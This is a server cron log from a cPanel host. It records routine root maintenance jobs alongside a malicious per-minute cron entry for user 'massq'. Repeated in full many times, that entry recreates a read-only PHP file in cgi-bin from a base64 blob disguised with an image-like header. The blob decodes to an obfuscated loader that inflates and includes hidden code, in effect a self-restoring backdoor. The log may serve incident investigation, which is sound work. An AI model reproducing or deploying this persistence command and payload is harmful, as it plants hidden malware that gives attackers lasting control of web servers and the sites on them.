Nov 13 18:24:01 server CROND[13569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:25:01 server CROND[14438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:25:01 server CROND[14440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:25:01 server CROND[14439]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:25:01 server CROND[14441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:26:01 server CROND[15364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:27:01 server CROND[16222]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 18:27:01 server CROND[16223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:28:01 server CROND[16824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:29:01 server CROND[17743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:30:01 server CROND[18604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:30:01 server CROND[18605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:30:01 server CROND[18606]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 18:30:01 server CROND[18608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:31:01 server CROND[19176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:32:01 server CROND[19778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:33:01 server CROND[20723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:34:01 server CROND[21582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:35:01 server CROND[22445]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 18:35:01 server CROND[22444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:35:01 server CROND[22447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 18:35:01 server CROND[22455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:35:01 server CROND[22453]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:36:01 server CROND[23377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
